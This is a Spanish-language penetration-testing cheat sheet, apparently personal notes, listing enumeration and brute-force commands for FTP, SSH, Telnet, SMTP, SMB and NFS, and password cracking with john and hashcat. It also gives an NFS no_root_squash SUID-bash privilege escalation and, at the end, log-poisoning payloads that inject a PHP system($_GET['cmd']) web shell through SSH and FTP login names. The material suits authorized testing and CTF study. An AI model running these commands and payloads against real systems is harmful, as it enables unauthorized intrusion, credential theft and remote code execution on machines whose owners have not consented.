Explotación
el fantasma en la concha
Última actualización
el fantasma en la concha
Última actualización
File Transfer Protocol - sirve como un protocolo estándar para la transferencia de archivos a través del ordenador entre un servidor y un cliente.
ftp <IP>
> anonymous # si permite sesión anónima
> ls -a # list hidden files
> binary # set binary transmission
> ascii # set ascii transmission
> get # download
> put # upload
> exit
# Pass Brute-force
hydra -l <user> -P <wordlist> -v <IP> ftp
Secure Shell - es un protocolo de red que permite realizar una conexión segura a un ordenador a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de la data cuando se accede a sistemas remotos.
# Enumeración de usuarios
:metasploit > scanner/ssh/ssh_enumusers
# Pass Brute-force
hydra -l <user> -P <wordlist> <IP> -v ssh
Telnet - es un protocolo de red que ofrece al usuario una manera NO segura de conectarse a un ordenador a través de una red.
# Enumeración de servicio
nmap -sV --script "*telnet*" -p 23 -n -Pn <IP>
Simple Mail Transfer Protocol - es el protocolo utilizado dentro del conjunto TCP/IP para el envío y recepción de emails. -> Otros puertos: 465, 587 (SSL)
# Enumeración mail y usuarios
:metasploit > auxiliary/scanner/smtp/smtp_enum
:metasploit > auxiliary/scanner/smtp/smtp_version
nmap --script smtp-enum-users <IP>
Server Message Block - es un protocolo que, bajo el modelo cliente-servidor, regula el acceso a archivos, directorios y otros recursos de red como routers o impresoras.
Principalmente usado en Windows. Linux utiliza el software libre de Proyecto Samba, lo que permite la comunicación cross-platform a través de SMB.
# Enumeración de archivos compartidos
smbmap -H <IP>
smbclient //<IP>/<dir> -N # null session
smbclient //<IP>/<dir> -u <domain-name>/<user>
> mget * # download
crackmapexec smb <IP> -u '' -p '' --shares # Null session
crackmapexec smb <IP> -u '<user>' -p '<pass>' --shares
rpcclient -U "" -N <IP>
rpcclient -U "user%pass" <IP>
# Enumeración
enum4linux -a <IP> # all methods
enum4linux -u <user> -p <pass> <IP>
nmap --script=smb-enum-shares.nsee,smb-enum-users.nse -p 445 <IP>
crackmapexec smb <IP> --users -u <user> -p <pass>
crackmapexec smb <IP> --groups -u <user> -p <pass>
crackmapexec smb <IP> --groups --loggedon-users -u <user> -p <pass>
# Check versión
:metasploit > auxiliary/scanner/smb/smb_version
# Exploits por versión
:metasploit > search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
NFS - es un sistema diseñado para el modelo cliente-servidor que permite al usuario acceder fácilmente a archivos como si estos estuvieran dentro de un directorio local.
# Enumeración
nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 <IP>
:metasploit > scanner/nfs/nfsmount
showmount -e <IP> # Lista carpetas del servidor disponibles para montar
# Montaje
mkdir /mnt/<local-folder>
mount -t nfs [-o vers=2] <IP>:<remote-folder> <local-folder> -o nolock
no_root-squash - esta opción brinda autoridad al cliente para acceder a los archivos del servidor NFS como root.
Revisa el archivo /etc/exports
en busca de algún directorio configurado como no_root_squash
de este modo podremos acceder como cliente y escribir dentro de ese directorio como si fuéramos el usuario root del sistema.
# Atacante root
mkdir /tmp/nuevo
mount -t nfs <IP>:<remote-folder> /tmp/nuevo
cd /tmp/nuevo
cp /bin/bash .
chmod +s bash
# Víctima
cd <remote-folder>
./bash -p
# Fuzz users
hydra -l <user> -P <wordlist_path> -vV <IP> ssh
hydra -l <user> -P <wordlist> <IP> ftp
# Fuzz Login Form
hydra -l <username> -P <diccionario> <URL> http-post-form "/<URL>:<request>:<error-message>"
unshadow <passwd.txt> <shadow.txt> > hash
john --wordlist=<wordlist_path> hash
zip2john <zip_file> > hash #whatever2john
keepass2john file.kdbx > hash
gpg2john private_pgp.key > hash
john --wordlist=<wordlist> --format=NT hash # formato>:USUARIO:ID:HASH_LM:HASH_NT:::
# Modo single crack
john --single --format=<format> <hash.txt> # Añade antes el name rollo >'juan:hash-'
hashcat -m <hash-mode> -a <attack-mode> <hash> <wordlist>
# -a 0 (dictionary) | -a 1 (combination) | -a 3 (mask)
#zip
hashcat -m 13600 -a 0 <hash> <wordlist>
ssh '<?php system($_GET['cmd']); ?>'@192.168.1.2 # Payload en nombre de sesión
/var/log/auth.log&cmd=id
ftp <IPv>
Name: <?php system($_GET['cmd']); ?>
Password: <?php system($_GET['cmd']); ?>
/var/log/vsftpd.log&cmd=id